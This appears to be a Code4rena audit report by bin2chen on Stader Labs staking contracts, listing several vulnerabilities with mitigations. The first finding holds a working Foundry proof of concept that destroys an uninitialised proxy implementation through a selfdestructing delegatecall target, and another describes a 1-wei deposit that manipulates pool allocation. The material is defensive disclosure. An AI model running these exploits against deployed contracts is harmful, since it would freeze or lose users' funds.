Stader Labs - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/VaultProxy.sol#L17 https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/factory/VaultFactory.sol#L29

Vulnerability details

Impact

VaultProxy can be maliciously destroyed, rendering all ValidatorWithdrawalVault and NodeELRewardVault functions useless

Proof of Concept

VaultProxy will act as a proxy forValidatorWithdrawalVault and NodeELRewardVault

However, VaultFactory does not initialize VaultProxy when generating vaultProxyImplementation.

contract VaultFactory is IVaultFactory, Initializable, AccessControlUpgradeable {

    function initialize(address _admin, address _staderConfig) external initializer {
        UtilLib.checkNonZeroAddress(_admin);
        UtilLib.checkNonZeroAddress(_staderConfig);
        __AccessControl_init_unchained();

        staderConfig = IStaderConfig(_staderConfig);
@>      vaultProxyImplementation = address(new VaultProxy());

        _grantRole(DEFAULT_ADMIN_ROLE, _admin);
    }

contract VaultProxy is IVaultProxy {
@>  constructor() {}

    //initialise the vault proxy with data
    function initialise(
        bool _isValidatorWithdrawalVault,
        uint8 _poolId,
        uint256 _id,
        address _staderConfig
    ) external {
        if (isInitialized) {
            revert AlreadyInitialized();
        }
        UtilLib.checkNonZeroAddress(_staderConfig);
        isValidatorWithdrawalVault = _isValidatorWithdrawalVault;
        isInitialized = true;
        poolId = _poolId;
        id = _id;
        staderConfig = IStaderConfig(_staderConfig);
        owner = staderConfig.getAdmin();
    }


    fallback(bytes calldata _input) external payable returns (bytes memory) {
        address vaultImplementation = isValidatorWithdrawalVault
            ? staderConfig.getValidatorWithdrawalVaultImplementation()
            : staderConfig.getNodeELRewardVaultImplementation();
@>      (bool success, bytes memory data) = vaultImplementation.delegatecall(_input);
        if (!success) {
            revert(string(data));
        }
        return data;
    }    
....    
}

As shown above, anyone can call vaultProxyImplementation.initialise() set up a malicious vaultImplementation, execute selfdestruct() in vaultImplementation.delegatecall() Destroy the code of vaultProxyImplementation. All ValidatorWithdrawalVault and NodeELRewardVault are invalidated and all the funds in the contract is lost

Here is the demo code, simplified version.

  address withdrawVaultAddress;
  function setUp() external {
      //1.like VaultFactory create withdrawVaultAddress
      address vaultProxyImplementation = address(new VaultProxy());
      withdrawVaultAddress = cloneDeterministic(vaultProxyImplementation, bytes32(uint256(1)));
      VaultProxy(payable(withdrawVaultAddress)).initialise(address(new GoodVault()));
      //2. print info , everything is ok
      console.log("setUp withdrawVaultAddress:",withdrawVaultAddress);
      console.log("setUp return true:",GoodVault(withdrawVaultAddress).returnTrue());

      //3. detory vaultProxyImplementation
      VaultProxy(payable(vaultProxyImplementation)).initialise(address(new BadDestruct()));
      //3.1 if delete this line test() can print return true
      vaultProxyImplementation.call("");
  }

  function test() external { 
    //4.show withdrawVaultAddress invalid
    console.log("test withdrawVaultAddress:",withdrawVaultAddress);
    //5.will fail , because vaultProxyImplementation is destruct
    console.log("test return true:",GoodVault(withdrawVaultAddress).returnTrue());
  }

  function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
      /// @solidity memory-safe-assembly
      assembly {
          // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
          // of the `implementation` address with the bytecode before the address.
          mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
          // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
          mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
          instance := create2(0, 0x09, 0x37, salt)
      }
      require(instance != address(0), "ERC1167: create2 failed");
  }    

---- help contract ----

contract BadDestruct{
  fallback() external {
    selfdestruct(payable(address(0)));
  }
}

contract GoodVault{
  function returnTrue() external returns(bool) {
    return true;
  }
}

contract VaultProxy{
    bool public isInitialized;
    address public fallbackVault;

    constructor() {}

    function initialise(
      address _fallbackVault
    ) external {  
        require(isInitialized==false);
        isInitialized = true;
        fallbackVault = _fallbackVault;
    }

    fallback(bytes calldata _input) external payable returns (bytes memory) {
        (bool success, bytes memory data) = fallbackVault.delegatecall(_input);
        if (!success) {
            revert(string(data));
        }
        return data;
    }    

}

$ forge test -vvv
Running 1 test for test/Counter.t.sol:CounterTest
[FAIL. Reason: EvmError: Revert] test() (gas: 11234)
Logs:
  setUp withdrawVaultAddress: 0x1121eAC811f2104cd65A256169A360DfF9e403C9
  setUp return true: true
  test withdrawVaultAddress: 0x1121eAC811f2104cd65A256169A360DfF9e403C9

Traces:
  [11234] CounterTest::test() 
    ├─ [0] console::log(test withdrawVaultAddress:, 0x1121eAC811f2104cd65A256169A360DfF9e403C9) [staticcall]
    │   └─ ← ()
    ├─ [2663] 0x1121eAC811f2104cd65A256169A360DfF9e403C9::returnTrue() 
    │   ├─ [0] VaultProxy::returnTrue() [delegatecall]
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← "EvmError: Revert"

Test result: FAILED. 0 passed; 1 failed; finished in 1.02ms

Failing tests:
Encountered 1 failing test in test/Counter.t.sol:CounterTest
[FAIL. Reason: EvmError: Revert] test() (gas: 11234)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Recommended Mitigation Steps

contract VaultProxy is IVaultProxy {
-   constructor() {}
+   constructor() {
+       isInitialized = true;
+   }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderOracle.sol#L17

Vulnerability details

Impact

Missing pause()/unpause(), the contract can not be suspended in case of emergency

Proof of Concept

StaderOracle.sol multiple methods have whenNotPaused, but the contract does not have pause() and unpause() methods

So it cannot be paused

The following contracts all have this problem

1. StaderOracle.sol
2. Auction.sol
3. SocializingPool.sol
4. OperatorRewardsCollector.sol

Tools Used

Recommended Mitigation Steps

add methods

    function pause() external {
        UtilLib.onlyManagerRole(msg.sender, staderConfig);
        _pause();
    }


    function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
        _unpause();
    }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/PoolUtils.sol#L62

Vulnerability details

Impact

PoolAddress cannot be changed

Proof of Concept

updatePoolAddress() has modifier onlyExistingPoolId But inside the method, verifyNewPool(_poolId) is called at the same time, in verifyNewPool() will restrict poolId cannot exist

so it won't work properly and shouldn't call verifyNewPool(_poolId)

    function updatePoolAddress(uint8 _poolId, address _newPoolAddress)
        external
        override
@>      onlyExistingPoolId(_poolId)
        onlyRole(DEFAULT_ADMIN_ROLE)
    {
        UtilLib.checkNonZeroAddress(_newPoolAddress);
@>      verifyNewPool(_poolId, _newPoolAddress);
        poolAddressById[_poolId] = _newPoolAddress;
        emit PoolAddressUpdated(_poolId, _newPoolAddress);
    }


    function verifyNewPool(uint8 _poolId, address _poolAddress) internal view {
        if (
            INodeRegistry(IStaderPoolBase(_poolAddress).getNodeRegistry()).POOL_ID() != _poolId ||
@>          isExistingPoolId(_poolId)
        ) {
@>          revert ExistingOrMismatchingPoolId();
        }
    }    

Tools Used

Recommended Mitigation Steps

    function updatePoolAddress(uint8 _poolId, address _newPoolAddress)
        external
        override
        onlyExistingPoolId(_poolId)
        onlyRole(DEFAULT_ADMIN_ROLE)
    {
        UtilLib.checkNonZeroAddress(_newPoolAddress);
-       verifyNewPool(_poolId, _newPoolAddress);
+       if (
+           INodeRegistry(IStaderPoolBase(_poolAddress).getNodeRegistry()).POOL_ID() != _poolId
+       ) {
+           revert ExistingOrMismatchingPoolId();
+       }
        poolAddressById[_poolId] = _newPoolAddress;
        emit PoolAddressUpdated(_poolId, _newPoolAddress);
    }

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderStakePoolsManager.sol#L229

Vulnerability details

Impact

Malicious modification in favor of your own funds allocation rounds

Proof of Concept

poolIdArrayIndexForExcessDeposit is used to save depositETHOverTargetWeight() which Pool is given priority for allocation in the next round

The current implementation rolls over to the next pool regardless of whether the current balance is sufficient or not

poolAllocationForExcessETHDeposit:

    function poolAllocationForExcessETHDeposit(uint256 _excessETHAmount)
        external
        override
        returns (uint256[] memory selectedPoolCapacity, uint8[] memory poolIdArray)
    {
..
        for (uint256 j; j < poolCount; ) {
            uint256 poolCapacity = poolUtils.getQueuedValidatorCountByPool(poolIdArray[i]);
            uint256 poolDepositSize = ETH_PER_NODE - poolUtils.getCollateralETH(poolIdArray[i]);
            uint256 remainingValidatorsToDeposit = ethToDeposit / poolDepositSize;
            selectedPoolCapacity[i] = Math.min(
                poolAllocationMaxSize - selectedValidatorCount,
                Math.min(poolCapacity, remainingValidatorsToDeposit)
            );
            selectedValidatorCount += selectedPoolCapacity[i];
            ethToDeposit -= selectedPoolCapacity[i] * poolDepositSize;
@>          i = (i + 1) % poolCount;
            //For ethToDeposit < ETH_PER_NODE, we will be able to at best deposit one more validator
            //but that will introduce complex logic, hence we are not solving that
@>          if (ethToDeposit < ETH_PER_NODE || selectedValidatorCount >= poolAllocationMaxSize) {
@>              poolIdArrayIndexForExcessDeposit = i;
                break;
            }    

Suppose now the balance of StaderStakePoolsManager is 0 and poolIdArrayIndexForExcessDeposit = 1

If I have a Validator with funds to be allocated at pool = 2, I can maliciously transfer 1 wei and let poolIdArrayIndexForExcessDeposit roll over to 2

This way the next round of funding will be allocated in favor of my Validator.

Normally, if the current funds are not enough to allocate one Validator, then poolIdArrayIndexForExcessDeposit should not be rolled This is more fair

Suggested: If poolAllocationForExcessETHDeposit() returns all 0, revert to avoid rolling poolIdArrayIndexForExcessDeposit.

Tools Used

Recommended Mitigation Steps

    function depositETHOverTargetWeight() external override nonReentrant {
..

+       bool findValidator;
        for (uint256 i = 0; i < poolCount; i++) {
            uint256 validatorToDeposit = selectedPoolCapacity[i];
            if (validatorToDeposit == 0) {
                continue;
            }
+           findValidator = true;
            address poolAddress = IPoolUtils(poolUtils).poolAddressById(poolIdArray[i]);
            uint256 poolDepositSize = staderConfig.getStakedEthPerNode() -
                IPoolUtils(poolUtils).getCollateralETH(poolIdArray[i]);

            lastExcessETHDepositBlock = block.number;
            //slither-disable-next-line arbitrary-send-eth
            IStaderPoolBase(poolAddress).stakeUserETHToBeaconChain{value: validatorToDeposit * poolDepositSize}();
            emit ETHTransferredToPool(i, poolAddress, validatorToDeposit * poolDepositSize);
        } 
+       require(findValidator,"not valid validator");     

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderConfig.sol#L177 https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderConfig.sol#L102

Vulnerability details

Impact

can't remove the admin privileges that were initially set

Proof of Concept

When updateAdmin() sets up a new admin, it also removes the old admin DEFAULT_ADMIN_ROLE permission

    function updateAdmin(address _admin) external onlyRole(DEFAULT_ADMIN_ROLE) {
@>      address oldAdmin = accountsMap[ADMIN];

        _grantRole(DEFAULT_ADMIN_ROLE, _admin);
        setAccount(ADMIN, _admin);
@>      _revokeRole(DEFAULT_ADMIN_ROLE, oldAdmin);
    }

The old admin was taken from accountsMap[ADMIN].

But the original admin is set in initialize() and not in accountsMap[]. So updateAdmin() does not cancel the initial admin privileges, but still retains DEFAULT_ADMIN_ROLE, leading to security risks

initialize() directly _grantRole(), and does not set accountsMap[]

    function initialize(address _admin, address _ethDepositContract) external initializer {

@>      _grantRole(DEFAULT_ADMIN_ROLE, _admin);
    }    

It is recommended that initialize() be set accountsMap[] at the same time

Tools Used

Recommended Mitigation Steps

    function initialize(address _admin, address _ethDepositContract) external initializer {
....

        _grantRole(DEFAULT_ADMIN_ROLE, _admin);
+       setAccount(ADMIN, _admin);        
    }    

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderOracle.sol#L646-L650

Vulnerability details

Impact

use stale oracle price

Proof of Concept

getPORFeedData() Chainlink price feed is not sufficiently validated and can return stale price

    function getPORFeedData()
        internal
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
@>      (, int256 totalETHBalanceInInt, , , ) = AggregatorV3Interface(staderConfig.getETHBalancePORFeedProxy())
            .latestRoundData();
@>      (, int256 totalETHXSupplyInInt, , , ) = AggregatorV3Interface(staderConfig.getETHXSupplyPORFeedProxy())
            .latestRoundData();
        return (uint256(totalETHBalanceInInt), uint256(totalETHXSupplyInInt), block.number);
    }

Based on https://docs.chain.link/docs/historical-price-data, the followings can be done to avoid using a stale price returned by the Chainlink price feed.

Tools Used

Recommended Mitigation Steps

Based on https://docs.chain.link/docs/historical-price-data, the followings can be done to avoid using a stale price returned by the Chainlink price feed.

Assessed type

Oracle

L-01: whitelistPermissionedNOs() is missing the method to set to false The current permissionList[] can only be set to true, and there is no method to cancel it, so if the setting is wrong, it cannot be cancelled. Suggested changes to pass in the status

-   function whitelistPermissionedNOs(address[] calldata _permissionedNOs) external override {
+   function whitelistPermissionedNOs(address[] calldata _permissionedNOs,bool isPermission) external override {
        UtilLib.onlyManagerRole(msg.sender, staderConfig);
        uint256 permissionedNosLength = _permissionedNOs.length;
        for (uint256 i = 0; i < permissionedNosLength; i++) {
            address operator = _permissionedNOs[i];
            UtilLib.checkNonZeroAddress(operator);
-           permissionList[operator] = true;
+           permissionList[operator] = isPermission;                        
            emit OperatorWhitelisted(operator);
        }
    }

L-02: updatePoolThreshold() is missing the check that _units.length > 0

The current protocol _units.length == 0, will be treated as if poolThreshold is not set Suggest adding check

    function updatePoolThreshold(
        uint8 _poolId,
        uint256 _minThreshold,
        uint256 _maxThreshold,
        uint256 _withdrawThreshold,
        string memory _units
    ) external override {
        UtilLib.onlyManagerRole(msg.sender, staderConfig);
        if ((_minThreshold > _withdrawThreshold) || (_minThreshold > _maxThreshold)) {
            revert InvalidPoolLimit();
        }
+       require(bytes(_units).length >0,"length ==0");

L-03: getMinimumSDToBond() has the risk of precision loss

getMinimumSDToBond() currently performs convertETHToSD(poolThreshold.minThreshold), this will have precision loss, if minThreshold is small It is recommended to multiply _numValidator before conversion

    function getMinimumSDToBond(uint8 _poolId, uint256 _numValidator)
        public
        view
        override
        returns (uint256 _minSDToBond)
    {
        isPoolThresholdValid(_poolId);
        PoolThresholdInfo storage poolThreshold = poolThresholdbyPoolId[_poolId];


-       _minSDToBond = convertETHToSD(poolThreshold.minThreshold);
-       _minSDToBond *= _numValidator;
+       _minSDToBond = convertETHToSD(poolThreshold.minThreshold * _numValidator);
    }

L-04: updateAdmin() is missing to determine whether the old admin is the same as the new one, which may cause the new admin to be _revokeRole

updateAdmin() will set the new admin and then revoke the old one. Currently there is no restriction that the old and new cannot be the same, and the new one is set first and then the old one is cancelled, so if it is the same it will end up without any admin

    function updateAdmin(address _admin) external onlyRole(DEFAULT_ADMIN_ROLE) {
        address oldAdmin = accountsMap[ADMIN];
+       require(oldAdmin!=_admin,"same");
        _grantRole(DEFAULT_ADMIN_ROLE, _admin);
        setAccount(ADMIN, _admin);
        _revokeRole(DEFAULT_ADMIN_ROLE, oldAdmin);
    }